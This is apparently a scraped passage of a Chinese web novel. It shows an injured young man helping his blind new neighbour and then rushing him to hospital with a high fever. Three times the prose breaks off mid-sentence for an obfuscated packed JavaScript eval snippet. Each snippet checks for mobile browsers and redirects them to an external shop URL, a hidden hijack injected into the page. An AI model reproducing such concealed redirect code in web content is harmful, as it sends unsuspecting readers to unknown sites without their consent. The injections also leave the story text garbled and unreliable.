“不用称呼您。”裴泽扬觉得很别扭。 “哦哦,好的。”温墨小鸡啄米似的点头。 “那什么。”裴泽扬的朋友努力想要插.入两人的聊天话题中,“我来帮他吧。” 虽然他没有裴泽扬那么高,但一米八的身高也足够帮眼前这个小邻居拿东西了。主要是裴泽扬这腿还伤着,刚出院没多久,他不想再送他去一趟医院,很麻烦。 为了证明自己也很行,他顿了顿,学裴泽扬刚刚说话:“我185。” “点7。” ——其实并不知道小数点的具体数字,就是纯粹犯个贱而已。 “……你也好高。”听到这话的温墨下意识转头“望”过去,面对着另一人的方向,“我……” 感叹完,他表情有点犹豫,不太确定自己是否也要说出身高。 173在他们两人面前好像有点拿不出手,而且就算说,他也不知道身高后面的具体小数点。上次有人跟他说身高,还是十八岁生日的时候,妈妈跟他说,他是173。 温墨局促地站着,没敢加入这个身高局。 小男生或多或少会要点面子,尤其在这种事情上。 “走,帮你找东西。”裴泽扬叫走温墨。 “好啊。”温墨连连点头,带着裴泽扬往自己家去。 “喂,裴泽扬。”他朋友急了,叫住他,“你的腿——” 裴泽扬跟没听见似的,充耳不闻,仿佛没有这个人。 温墨倒是听见了,脚步停下,问道:“你朋友在叫你,你的腿怎么了?” “很长。”裴泽扬面不改色。 朋友:“?” 温墨:“……” “哦……”温墨回过神后脑袋点得更猛了,“好的,好。” 毕竟190的身高,腿确实会很长。 “所以帮你没问题。”裴泽扬嗓音淡淡,bking感十足,游刃有余。 “好……”很奇怪的人,以及很奇怪的对话。 温墨实在不知道该说什么好,裴泽扬说一句,他嗯嗯地点一下脑袋,勉强算是回应了。 朋友:“……” 神经病啊! 裴泽扬到底在搞什么?好特么无语啊。 他白眼都要翻到天上去了。 - 裴泽扬跟着温墨进屋。 同一层楼的两个房子,户型结构都是一样的,两室一厅,外加一个阳台,阳台还是相邻的,中间只有一道及腰的护栏。 小邻居家里收拾得很干净整洁,还很有闲心地养了一盆绿植放在门口。 “进来吧。”温墨弯腰,从鞋柜里拿出一双崭新的拖鞋,摆放在他的面前。 “……” 裴泽扬现在用不上一双拖鞋,他只用得上一只。 但他没说。 右腿还绑着厚重的石膏,他往里侧了侧,尽量不让温墨碰触到自己。换好一只鞋后,他很轻地将拄拐往旁边挪。 温墨这时抬了下眼。 裴泽扬不想引起他的注意,但盲人的听力比常人更加灵敏,一丁点儿的声音他都能听见,只是没意识到是什么,他就被裴泽扬及时打断:“你家很干净。” “嗯?还好吧,昨天有人帮我打扫过,是社区的志愿者姐姐。”温墨笑了笑,很轻易地便被转移了注意力。 “哦。”裴泽扬应了声,问他,“你想让我帮你拿什么?” “一个行李箱,可能会放在次卧的衣柜顶上或者是主卧。”温墨带着裴泽扬往里走,两间房是连在一起的,他将两扇门先后打开,裴泽扬一眼便看见了。 “在次卧。”裴泽扬告诉他,“有好几个行李箱都放在衣柜上面,你要什么颜色的?” 这可问倒了温墨,他哪里能知道行李箱的颜色。 裴泽扬说完也意识到了,脸色僵了僵,改口:“那我全部帮你拿下来,你一个个找。” “好啊,真的太谢谢你了。”温墨很高兴。 他的新邻居真的好热心。 裴泽扬又“嗯”了声,看向眼前这个200cm高的衣柜。 就算他190.6,那也需要借助工具才能拿到,更何况他现在一条腿还受伤了。 但温墨不知道。 裴泽扬转身离开次卧,费力地拖了椅子过来,温墨这才意识到,连忙开口:“我来帮你扶着。” “不用。”裴泽扬拒绝。 在下面扶着他,万一碰到了他的腿怎么办。 他不想让小邻居知道这件事。 因为隔壁还有个莫名其妙的人在虎视眈眈。 ……袁宸真烦。 裴泽扬不知道他争着说身高是什么意思,想到脸色就很难看。 “不用吗?”温墨不太放心,“我扶着椅子会更安全点。” “没必要,这不算高,很快就能拿下来。”裴泽扬说,“你去吃药吧。” “好吧。” 他都这样说了,温墨听话地照做。他摸着门框出去,来到饮水机前倒水喝药。 刚吞下去,“咚”的几声响从次卧传来。 温墨被吓得一激灵,过了好几秒才反应过来发生了什么,又连忙跑回去,在地上摸索寻找裴泽扬:“……你怎么了?是不是从椅子上摔下来了,痛不痛?!” 他担忧的模样映在裴泽扬的瞳孔中。 盲人的眼神无法聚焦,虚空看着前方,手掌却焦急地在地上找人。 裴泽扬微怔,又很快反应过来,往旁边躲。 温墨没摸到他,只摸到几个行李箱。 裴泽扬用行李箱将自己和温墨隔开了。 “不痛,没摔,是椅子倒了。” 痛得要死,但死要面子,裴泽扬绝对不会承认他摔下来了这么丢脸的事。 “嘶——” 但很可惜,他还是暴露了。 温墨前面真的有被他唬到,差点就相信了。但是温墨去摸他时,手掌推到行李箱,行李箱挪动,碰到了裴泽扬的伤腿,裴泽扬顿时绷不住了,控制不住地闷哼出声。 盲人对声音敏锐,一下便捕捉到了这个异常,张了张嘴:“你……” “没事,别多想。”痛得要死,冷汗都出来了,但裴泽扬就是死咬着不松口,尤其看到温墨脸上的表情,他更加不想暴露了,强撑着将右腿拿开。 大不了去趟医院就好了。 他平时也没少去医院,这不就跟回家似的。 没什么好担心的。 再说了,要不是他腿受伤了,那堆行李箱又不好拿,他也不会跟着一起摔下来。 “行李箱比我想象中的要重,我以为是空的。”所以顺手一拉,箱子带着人一起砸下来。 裴泽扬给自己挽尊,生硬地转移话题,不想让温墨关注他的腿:“你找行李箱要拿什么?” “你真的没事吗?”温墨摸不到裴泽扬,也不知道他的伤势,眉眼间的担心非常明显,“箱子里有个玩偶,是我妈妈送给我的五岁礼物,我想拿出来。” “哦。”裴泽扬选择性地没听见前面那句话,忍着痛帮他打开所有的行李箱。 黑色的箱子,里面放的全是那种景区卖的那种人物陶瓷品,怪不得那么重。估计怕摆在家里,温墨不小心打碎了会伤到自己,这才收起来。 裴泽扬又打开绿色的行李箱,里面有温墨要找的东西。 他拿出来,塞到温墨手中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416146|200770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是不是这个?” 男生的手像火炉一样滚烫,温墨微怔,回神后眼睫颤了颤,心想新邻居的体温真是和他人有一样热情。 “嗯,是的。”拿到玩偶,温墨立刻就认出来了,将其抱在自己怀里,顿时觉得安心,脑袋都好像不晕了,也不难受了。 “行。” 温墨拿到了他想要的东西,裴泽扬撑着面前的椅子站起来,痛得冷汗渗出,实在没有忍住,低头粗.喘了好几下。等抬起头时,面前的小邻居果然表情变得担忧又懊悔,还有些无措。 草。 怎么看上去那么可怜。 摔倒的是他,小邻居的反应,看得他都有点……觉得自己罪大莫及。 好端端地摔什么摔……裴泽扬低骂一声,错开视线:“行李箱给你放在哪里?还要放上去吗?那么高,以后不方便拿。” “那就不放上去了。”温墨说。 当初搬家,是远房亲戚帮忙找的搬家公司,工人们没见过他,也不知道他是盲人,估计顺手就垒了上去。 温墨:“你就放在空的地方就行。” “行。”裴泽扬将三个行李箱全部推到了角落,窗户前面,并排码好。 “谢谢你。” 一转身,又听见了温墨感谢的声音,裴泽扬没说话,他也不知道该说什么好,他就是在能力范围内顺手一帮而已,不用对他说那么多谢谢。 他觉得自己再怎么不方便,也会比温墨更轻松些。 “小事。”忍着腿痛,裴泽扬语气淡然地回答他。 “真的非常感谢。”温墨说,“你需要我帮你冰敷吗?” 作为一个来新家后经常摔倒的人,温墨比谁都清楚有多痛,他懊悔,觉得自己当时应该留下来帮裴泽扬扶椅子,但他没有,他现在也想要帮裴泽扬。 可裴泽扬依旧是拒绝。 “不用,我没摔。”裴泽扬死不承认,“是行李箱摔下来了。” “好吧,那你要喝水吗?”对方这么热心,温墨也想表达自己的友好,“我去给你倒杯水吧,你家里有没有收拾好呀?需要我帮忙吗?别看我这样,很多事我都能做。” “不用。”裴泽扬不需要温墨帮他做什么。 他觉得温墨不方便,属于弱势群体,需要别人的照顾和帮忙。而他们是邻居,举手之劳的事情,顺手帮了就帮了,哪里需要什么回报。 正常人都会帮。 他只是个正常人而已。 想到这里,裴泽扬对他说:“我就住在隔壁,每天都会在家。以后有什么不方便的地方都可以找我,尽管找我,什么事都可以。” “我叫裴泽扬,你呢?” “温墨。”话音刚落,温墨侧头,忽然觉得喉咙很痒,小声咳嗽了两三下。 咳声很浅,但温墨再次转回脸时,眼尾却泛出了一点薄红,没有神采的眼睛里也盈了一层浅浅的水光,随着他眨眼的动作洇出来,像是叶尖上的露珠,挂在下眼睫上……看得人,很想帮他擦干净。 鼻尖也白白粉粉的。 眼角还有一颗痣。 现在才发现是因为痣的颜色好淡,也很小,离得近了才能看见。 他的睫毛也很长。 裴泽扬一时看得有些失神,过了好一会儿,才强迫自己回过神来。 “……感冒了是不是要多喝热水。”意识到温墨在生病,他连忙开口,也不知道是真关心,还是在掩饰什么,“我去帮你倒热水。” 温墨:“……?” 啊? 新邻居这么热情好心的吗? 温墨作为弱势人群,从小到大真的见过不少的好心人,但热心到裴泽扬这样的,他却的第一次见。 比如,明明他的脚都受伤了……却还着急忙慌地帮自己这个双腿完好的人去倒水。 温墨听着拄拐撑在地上的声音,微微侧头,表情十分不解。 5. 晕倒 温墨听见拄拐的声音远去又接近,没一会儿,裴泽扬倒来的热水便送到了他手中。温墨双手捧着,杯身上温暖的感觉好似从掌心传达到了心脏。 他低头,小口小口地喝完,干痒的刺痛感随着热水入喉,减轻了不少。 “感冒要多喝热水。” 裴泽扬说话的声音在对面响起。 听得出来他应该不常说这些关心人的话,语句很是僵硬,不自然。 温墨嗯了一声,对他笑了笑。 房间忽然变得安静无比。 裴泽扬并不算是个多话的人。他性格冷,又惯被人追捧,向来只有别人巴结讨好他的份,很自然地便养出了几分冷傲的疏离,不太把其他人放在眼里,更不会主动找话题和别人聊天。 现在这样……倒是头一回。 谁都不说话,场面顿时变得尴尬。 温墨倒也不是故意冷落他。 他现在在病中,没那么多力气说话。吃了药后有点儿犯困,还小小地打了个哈欠。 生病了,吃了药在犯困,想睡觉。 裴泽扬心想。 “……那我就先走了。”他跟温墨告别。 “嗯?好啊。”温墨现在需要休息,也就没有留他。 他送裴泽扬出去:“下次见,对了,不知道你伤得严不严重,还是去医院看看吧。今天真的麻烦你了,如果早知道你的腿不方便……” 如果早知道裴泽扬的腿受伤了,他就不找他干这么危险的事情了。 温墨有点儿小愧疚:“等过两天我感冒好了,请你吃饭好吗?” 裴泽扬:“……” 还是被发现了。 裴泽扬的表情顿时变得十分精彩。他实在是不想承认这么丢脸的事情,他没有那么脆弱,不至于伤个腿帮个忙都做不到。 草。 好烦啊。 但是…… “再说吧。”裴泽扬很懊恼自己暴露了腿伤,但听到温墨后面的话,他又神奇地闭嘴了。 裴泽扬没有立刻答应下来,他有他自己的节奏,担心表现得太过热络,会显得不太正常。 一般太倒贴的人都居心不良。 比如袁宸。 裴泽扬依旧不懂袁宸为什么要抢着对温墨说身高。他觉得袁宸很可疑,太倒贴了。 所以他语气淡淡地说了个模棱两可的回答,表现得云淡风轻。 “好哦,那到时候再说。”温墨不知道他脑海里的想法,暂时也没有那么多精力去观察。 困了,想睡觉。 “嗯,我走了。”裴泽扬跟他告别,“以后有什么需要帮忙的地方都来隔壁找我。” “好,知道啦。再见。”温墨露出一个礼貌的微笑,跟裴泽扬道别,随后关上了门。 - 从温墨家离开后,裴泽扬回到了隔壁。 里面的人正躺在沙发上玩手机,听见门被推开的声音,抬了下眼,还不忘调侃他:“哟,大少啊。咱们的190.6的热心好邻居回来了啊。” “别啰嗦了。”裴泽扬没空跟他说些有的没的,“送我去趟医院。” “?” 啊? 袁宸问:“你怎么了?” “刚刚撞到了腿,差点没痛死我。”在好兄弟面前,裴泽扬才显出本性。 刚刚面对温墨,他装得跟个没事人似的,现在龇牙咧嘴,后槽牙都要咬碎了,后背冰凉一片,“赶紧的,走。” “我腿好像要断了。” 袁宸:“……” 他说什么来着,意外还是来了。 他就说裴泽扬会再进医院。 草。 认命了。 袁宸搀扶着裴泽扬下楼,把他扔进后座,开车前往医院。 等红灯时,袁宸透过后视镜看了裴泽扬一眼,啧啧道:“你是真牛,你这腿是不是不想要了?伤筋动骨一百天,你昨天刚出院,今天又进去,你祈祷你没有二次骨折吧,不然你病房继续续费半个月。” “别啰嗦。”裴泽扬最烦别人念叨他。 袁宸哼哼了两声。 “好兄弟,不怪我说你,你今天真的很奇怪。”等灯无聊,他忍不住八卦起来,“干嘛这么热心,这是你喜欢的类型?” 裴泽扬明明以前也没有说他喜欢小男生啊。 这突然之间…… 好意外。 “少胡说。”裴泽扬想都没想就否认,“顺手帮了,什么喜欢的类型,我是直男。” 顿了顿,他语气僵硬地补充:“我以前没见过盲人,这是第一次见。” “……” 行,直男。 袁宸见此懒得跟他多说。 他闭嘴了,刚好前方红绿灯变幻,袁宸专心开车,车内安静了好一会儿。 “喂,袁宸。”裴泽扬喊了声他的名字。 他嗯了一声。 “你不觉得他很可怜吗?”裴泽扬问。 袁宸抬了下眼,看见后视镜里裴泽扬眉头微皱,一副在沉思的样子。 和裴泽扬认识这么久,见过他脸上出现各种表情,思考还是头一次。 “可怜?”袁宸语气古怪。 裴泽扬:“嗯。” 在裴泽扬过去二十年的人生里,几乎没有见过温墨这样脆弱的人。 跟他玩得好的朋友兄弟,几乎跟他都是同类型。泡吧飙车,搞健身攀岩的肌肉脑。包括女生也同样如此,一拳下去,对面要在地上叫很久。 他从来没有见到温墨这样脆弱到需要别人好好呵护照顾的类型。 他也不知道自己怎么了。 反正就是,他觉得温墨有点儿可怜……不,不是单纯的可怜,而是对他有点怜爱,有保护欲,想帮助他,照顾他。 这几个词蹦出来,裴泽扬心脏猛地跳了一下。 他?保护?照顾?一个今天刚认识的人? 这都是些什么想法—— “脆弱不知道。”袁宸不知道裴泽扬在想什么,思考几秒后出声,打断了他的思绪,“但他长得很漂亮,是我的菜。就是很可惜,眼睛嘛……” 袁宸耸了下肩,还在咂舌惋惜中,下一秒,一双冰冷的,没有任何温度的眼睛跟他在后视镜里对上了。裴泽扬眸光锐利,冷得像淬过冰的刀锋,眼中的戾气没有丝毫的掩饰。 “找死?” 他还踹座椅。 ……裴泽扬怎么没有两条腿都摔断? “人都看不见了,那么可怜,你好意思想那些龌龊的事情。”裴泽扬内心一股无名火冒,“有点道德行不行。” “我特么的——”袁宸差点没被他气死,低骂了好几句脏话,才提高音量,“你有道德,你高尚。” “我就说了一句是我的菜,你在急什么啊。”袁宸忍不了,抽空对着裴泽扬竖了个中指。 “行行行,我什么都不想了好吧,让你想,让你想行了没。” “想都不能想了……” “滚。没你那么恶心。”裴泽扬冷冷地说,“我对他没有那些见不得人的想法,顺手帮忙而已。你以为人人都跟你似的,我警告你把脑子里的水倒干净点,少打那些歪主意,不然我不会放过你。” 袁宸:“……” 袁宸力竭了:“行,我会……你最好也是。你给我牢记道德两个字。” 两人的谈话不欢而散。 剩下的路程,他们都不再开口说话,袁宸心累被气到了,裴泽扬是懒得搭理他,觉得袁宸道德感低下,连盲人都不放过,不配为人。 即使袁宸从头到尾只说了一句是他的菜。 …… 恶心。 袁宸恶心。 但温墨确实漂亮可爱,还很善良。 裴泽扬脑海里在回忆刚刚和温墨单独相处时的场景,说过的话,小邻居担忧他的表情,慌乱地在地上乱摸,担心他的模样。 裴泽扬调整好了心情,下车后单方面原谅了袁宸,只警告他以后对温墨放尊重点,再让他知道那些恶心的事,兄弟都没得做。 以及,以后离温墨远一点,不准再去那个房子。 袁宸:“?” 倒反天罡了吧,朋友。 那是他的房。 ……神人来的。 袁宸对他竖了个大拇指,被噎到一句话都说不出来,也懒得说,认命地当冤种兄弟,还得将人送到诊室。 裴泽扬的情况不算很好,摔下来的行李箱砸到了腿,需要重新复位,好在不用住院,手法复位成功后,医生给他重新打了石膏。 作为裴泽扬多年骨科的主治医师,老医生见他昨天出院,今天又进,本就花白的头发变得更白了。 他叹了口气,语重心长道:“大少,心疼下自己吧,稍微对自己好点,好好把腿养着,别再出什么意外了。” “您昨天才出院,今天又进来了,再来这么几次,您的腿真的会废,您也不想以后变成一个瘸子吧?” 这话换在以前,裴泽扬压根不搭理, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416147|200770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不会放在心上。因为他觉得自己身体很好,不至于。但是现在,听到对方的一句话,他忽然又想到了温墨。 温墨看不见,他刚刚才向温墨承诺了以后会尽自己所能帮他,让他有什么事都来找他。要是腿不方便的话……他确实得赶紧让腿好起来。 毕竟旁边还有个虎视眈眈的恶心GAY。 裴泽扬侧头瞥了袁宸一眼,袁宸不明所以,只觉得这个眼神怪鄙夷的。 不是。 裴泽扬看腿,鄙夷他干什么啊??? 袁宸满脑袋雾水:“干嘛?” “行,我知道。”裴泽扬嗓音淡淡。 袁宸:“???” 什么啊,莫名其妙。 他现在真是越来越不懂裴泽扬了。 重新上了石膏后去缴费,袁宸以为裴泽扬现在身无分文,正准备扫码付钱,结果转头看见裴泽扬自己付了。 他沉默片刻。 “你有钱啊。”语气十分复杂。 “你爸妈不是把你信用卡停了?” “是停了。”裴泽扬说,“但也不至于一分没有。” “那你有多少。”袁宸问他。 裴泽扬皱了下眉,觉得袁宸话太多。但袁宸坚持,他随口敷衍了一句:“不到百万。” 袁宸:“……” 6666666666。 袁宸破防了。 他现在身上都没有百万。 “房子不借给你了。”他咬牙道。 “?” “什么意思。”裴泽扬眉眼骤沉。 他抬起头,额前的碎发在脸上投下一片阴影,看上去阴恻恻,“还没有死心?想接近他?你道德有够低的。” 袁宸:“……” 差点一口气憋着没上来。 半晌,他没忍住,还是把裴泽扬骂了一顿,最后说:“请我吃饭!现在立刻马上请我吃饭!我要吃最贵的!” “嗯。”裴泽扬同意了,还没计较袁宸骂他的事,只是说,“钥匙给我。” “什么钥匙?”袁宸愣了愣,“那间房的?不是早就给你。” 裴泽扬:“你留下的那把。” 袁宸:“?” 裴泽扬:“都给我,以后没事别过去乱晃。” 袁宸:“。” - 裴泽扬用一顿饭换来了袁宸把所有钥匙交出来,吃完饭后,袁宸将他送到了小区楼下,他连楼都没让袁宸上。 电梯上升至五楼,裴泽扬下意识看向温墨家的房门。 感冒的人需要静养,现在下午两点,温墨可能在休息。 裴泽扬没有打扰他,脚步一转,回到了他的新家。 腿受伤的人也需要静养,但裴泽扬不是能闲下来的性格。 他很无聊,还总是想着隔壁那个小病号,心神不宁,干脆拿出手机打游戏,可目光却总频频地看向阳台,心不在焉,输了好几把。 后来干脆关了游戏,也不知道在忙活什么,去了阳台好几次,只觉得时间过得好慢,怎么还没有到第二天。 直到晚上六点。 裴泽扬忽然想到,他作为新邻居,在对方生病的情况下,关心对方,好像也是件很正常的事情?而且温墨还说要请他吃饭呢,现在不正好。 裴泽扬找了一万个借口说服自己的不合理行为,接着立马出门,一秒都等不了地按响温墨家的门铃。 但他按了好几下,都没有任何反应。 没听见?睡着了?还是出现了意外? 裴泽扬从不解到不安,尤其想到最后一个可能性,脸色骤然沉下,按门铃的动作也越来越急促,温墨要是再不开门的话,他没准会破门—— 温墨终于开门了。 小邻居吸着鼻子,裹着厚厚的毛毯来开门,一副没睡醒的模样,脸上也不知道是睡红还是闷红的,湿热一片,黑发也被汗湿了,一绺一绺地贴在脸颊上,看上去比早上那会儿更加脆弱无助,虚弱得好像连站都站不住似的,瓮声瓮气地开口,“你好……” “是我,裴泽扬,你的新邻居,我们早上见过。”见他没事,裴泽扬脸色缓了缓,松了一口气,“你一直没来开门,我还以为你出事了,你在睡觉吗,你……吃饭没有?” “嗯……”温墨昏昏沉沉的,眼皮耷拉着,鼻音浓厚。 他努力打起精神,点了两下脑袋,却好似用尽了全身的力气。 没等裴泽扬继续问他,他忽然向前一栽,倒在了裴泽扬的怀里。 6. 心疼 变故来得突然,温墨忽然晕倒在他怀里,裴泽扬愣了一秒,回过神后连忙扶住他,双手捧起他的脸。 拄拐掉落在地上。 “喂,温墨,你怎么了?!” 裴泽扬再也维持不住在小邻居面前故意装帅,装作云淡风轻的模样了。他脑子一片空白,手掌碰触到温墨滚烫的脸颊时,顿时被惊出一身冷汗。 “温墨,醒醒!” 温墨醒不过来。 他真的太难受了。 这次吃了药也没有好转,他昏昏沉沉地睡了一整天,意识模糊,根本不知道自己在干什么。他强撑着来开门,已经耗光了所有的力气。 温墨被裴泽扬的手掌支撑着,身上似火炉一般烫,也不知道烧了多久。薄薄的眼皮被染红,脸上烧得厉害,就连那颗小痣,都好像泣血的泪珠,莫名看得人胆战心惊。 温墨的脸颊滚烫,嘴唇却白得很不正常,连一丝血色都没有。 裴泽扬唤不醒他,单手搂着他靠在墙上,费力地从口袋里拿出手机,拨通了120。 温墨好瘦。 裴泽扬将他抱在怀里,才能感受到他衣服底下,几乎硌人的骨头。尤其那脆弱的手腕,轻得仿佛轻轻一折就会断掉。他刚握上去,又担心自己没轻没重地弄伤温墨,连忙松开,频繁地往走廊的窗户看。 救护车怎么还没来。 裴泽扬是个没多少耐心的人。 等了还没五分钟就开始不耐烦,打算将温墨抱下去。 他的想法简单,温墨现在正在发烧,烧得不省人事,很严重,必须赶紧送往医院,越快越好。现在这样干等着什么都不做,纯粹是在浪费时间。 能早一点去医院,温墨就能好得更快一点。 他打横将温墨抱起。 从小到大锻炼出来的,一周在健身房泡四天的好身体,在这一刻好似才有了真正的用处。 裴泽扬结实的手臂穿过温墨的膝弯。 他抱着温墨下楼,还能顺手将拄拐拎在手里。 下去后大概不到十分钟,救护车开到了楼下。 “你的腿……”安顿好病人,医护看见了裴泽扬打着石膏踩在地上,不由得愣了愣。 但裴泽扬此刻浑然不觉得痛,目光紧紧盯着仍然还处在昏迷中,却还下意识皱着眉,表情不安痛苦的温墨。 “没事。”他随口敷衍。 救护车开到最近的医院,护士给温墨量体温,都快四十度了。 护士开了间单人病房,给温墨打上了吊瓶,说是今天晚上会退烧,退烧后就会醒来,不用太担心,裴泽扬可以先去急诊那边看看腿。 裴泽扬应了声,但没听,拉了张椅子在病床前坐下,目光直勾勾地看着还在昏迷的温墨。 他此刻只觉得温墨真的太脆弱了。 就一会儿没有看着而已,竟然能病得这么严重。 怎么这么可怜。 一直以来都是这样生活的吗? 没有亲人朋友帮助照顾? 如果他今天没有去敲门的话,温墨会不会烧傻?万一没有及时送医,有了什么后遗症,到时候又该怎么办。眼睛看不见已经够惨了,万一再出点其他的意外,他又该怎么办。 裴泽扬满脑子都是自己无法控制的糟糕想法,每想到一个可能性,他的心就沉下一分。 白天的时候,他还觉得他对邻居有保护欲很奇怪,搞不懂自己。但是现在,他不这样认为了。 因为他觉得病床上的温墨那么可怜,小小的一团。好像被人抛弃的,在纸箱里蜷缩取暖的小猫。 他那么可怜。 失明,一个人生活,连发烧40度都没有人知道。 他身上还有那么多磕碰出来的伤痕,脑袋上,手指上还贴着创可贴。 裴泽扬盯着他的指尖看了很久很久,病房里寂静到只有两人的呼吸声,也不知道时间过去了多久,裴泽扬看见温墨的嘴唇动了动,却没有听到任何声音。 “醒了吗?温墨?”裴泽扬立马起身,弯腰下去。 男生滚烫的唇瓣拂过他的耳廓,裴泽扬听见一句很小声的“妈妈。” 很小,很轻,几近于呓语的声音。 裴泽扬听见了,一愣,随后觉得很好笑。 “……妈妈。”温墨又喊了一声。 裴泽扬也确实是笑了,从鼻腔里哼出的笑声,还用指背推了推温墨的脸。 悬了一个晚上的心,此刻终于慢慢放回到原位。 裴泽扬对他说:“我可不是你妈妈。” - 到了后半夜,温墨的情况逐渐变得稳定。呓语少了,呼吸声绵长,无意识皱起的眉头也慢慢地松开,裴泽扬也终于能有时间去急诊看腿了。 一个小时后他回来,温墨也没有异样,看样子好像在退烧,额头没有先前那么烫,呼吸平稳,像是睡过去似的,偶尔还会有脸颊蹭着枕头的动作,纤长的睫毛随着颤动。 怪可爱的。 又可怜又可爱。 裴泽扬看到他这样,也彻底放下心来,去卫生间洗了把脸后,双手抱胸,坐在椅子上闭目养神。 护士每隔一个小时来给他量一次体温,每次裴泽扬听见声音后都会醒来,看见温墨的体温逐渐恢复正常。 半夜三点,他听见了咳嗽的声音。 裴泽扬立马清醒。 “醒了?” “怎么了?” “哪里不舒服?” 裴泽扬起身,看见温墨在偏头咳嗽,想起病房里就有饮水机,连忙过去先帮他倒了一杯水,扶着温墨坐起来,喂他喝水。 温水入喉,温墨的咳嗽止住,抬手握住了裴泽扬的手掌。 裴泽扬低头。 看上去比他小一号的手,雪白的小手与小麦色的大掌交错,紧紧抓住了他。 “裴泽扬?” 温墨听出了他的声音。 裴泽扬嗯了一声,用另外一只手,将水杯放在床头。 “是你送我来医院的吗?”温墨一醒来,就察觉到了自己手背上的针,医院特有的消毒水气味也很好辨认。 “太谢谢你了。” 来医院之前的事情温墨不太记得了。 记忆停留在他睡觉之前,和裴泽扬分别后,他迷迷糊糊睡着了,中途还接到了何意的电话,问他怎么了,说自己手机没带才看见,是不是发生了什么事,需不需要她过去。 温墨老老实实地回答,说自己感冒,原本是想要找她帮忙看药盒,但隔壁新搬来的邻居帮了自己。他已经吃了药,正准备休息,很快就会好。 原来他没有好,他现在正在医院扎针。 也多亏了热心的新邻居帮他。 太感谢了。 温墨对裴泽扬笑,弯弯的眼尾和上扬的唇角,浅浅的,笑容很好看。 “……” 裴泽扬慢半拍地想起来问:“要不要上厕所或者吃东西?” 他也是才从医院出来,先前请护工,护工每天对他说的话,不是问要不要上洗手间,就是要不要吃饭。 裴泽扬有样学样,首次照顾人,应用在了温墨身上。 “嗯……” 这倒是提醒了温墨。 他吊了好几瓶水,这会儿确实觉得有点儿涨,挠了挠耳朵,小声地说:“我想上厕所。” “好。” 裴泽扬扶着他下床,牵他去卫生间,在门外帮忙拿着吊瓶。 听着里面传出来的水声,裴泽扬忽然觉得浑身不自在,莫名地开始脸红。 “……” 有病。 他在脸红什么。 温墨倒还好,虽然恢复了些精神,但暂时没有精力关注太多事情,按下冲水键后,他摸着墙出来。 没有摸到裴泽扬,先摸到了他放在门口的拄拐,表情微怔,又很快被裴泽扬拉开。 裴泽扬假装无事发生牵着他回到病床上,将吊瓶挂好。 “饿吗?”裴泽扬又问。 温墨点了点头。 他从昨天晚上就没有吃东西,现在醒来,听到裴泽扬这样问,确实觉得肚子空空的,瘪瘪的。 “有点饿。”温墨说,“我想吃东西……现在几点?” 也不知道他现在是该吃午饭还是该吃晚饭。 “凌晨三点。”裴泽扬回答道,“你是不是该吃点清淡的?小米粥可以吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416148|200770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “啊……”凌晨三点?他被这个时间惊到了。 已经半夜了啊…… “那等天亮了再吃早饭吧。”温墨见状连忙说,“也没多久了,这个点不太方便。” “能买到。”裴泽扬不听这些。他只知道温墨现在饿了,他要去给温墨买吃的。 裴泽扬立马起身,像阵风一样蹿走了。 但没多久,他又回来。 温墨听见了开门关门的声音,直觉是裴泽扬。他歪了歪脑袋,表情疑惑,好像在问裴泽扬怎么了。 “我点了外卖。”裴泽扬语气不太自然地说。 他不太放心将温墨一个病号单独留下,担心万一出什么意外,所以点了外卖让人送来,明天他再去给温墨买。 “哦哦,好啊。”温墨没有意见,点了点头,还对裴泽扬笑。 裴泽扬又嗯了一声。 他重新坐回到椅子上,两人等外卖送过来。 这期间没有人开口说话。 温墨习惯了安静,习惯了发呆,所以并不觉得尴尬和无聊。 但裴泽扬不行。 他想说点什么,憋了半天,问温墨。 “你知不知道你今天发烧有多严重,40度。” “……啊?”温墨并不知道。 但40度听着确实很吓人。 裴泽扬问他:“你以前是怎么过的?照顾不好自己吗?” “以前吗?”温墨回答他的话,“我以前和家人一起住。但他们今年年初意外去世了。” “我没有想到会发烧。上次感冒,我吃了药就好了,也不知道这次会这么严重,是不是给你添麻烦了?” 温墨还记得裴泽扬的腿还伤着。 也不知道他是怎么把自己送来医院的,想到这里,他觉得很过意不去。 裴泽扬:“……” 我真特么的该死啊。 温墨:“抱歉……” “没有。”裴泽扬生硬地打断温墨的话。 温墨没有给他添麻烦,是他在后悔,如果当时他不想那么多乱七八糟的,能早点去敲门…… 对,他应该早点去敲门。 没必要在乎什么面子,想着乱七八糟无所谓的借口,准备好了再去找他。 裴泽扬不想再发生类似的事情。 “我只是觉得你看上去好像很难。”裴泽扬的声音有点儿低。 这个年龄,他本该无忧无虑,飞扬在球场上,在学校读书,和朋友出去玩。 可是现在,他连生病了都没有人知道。 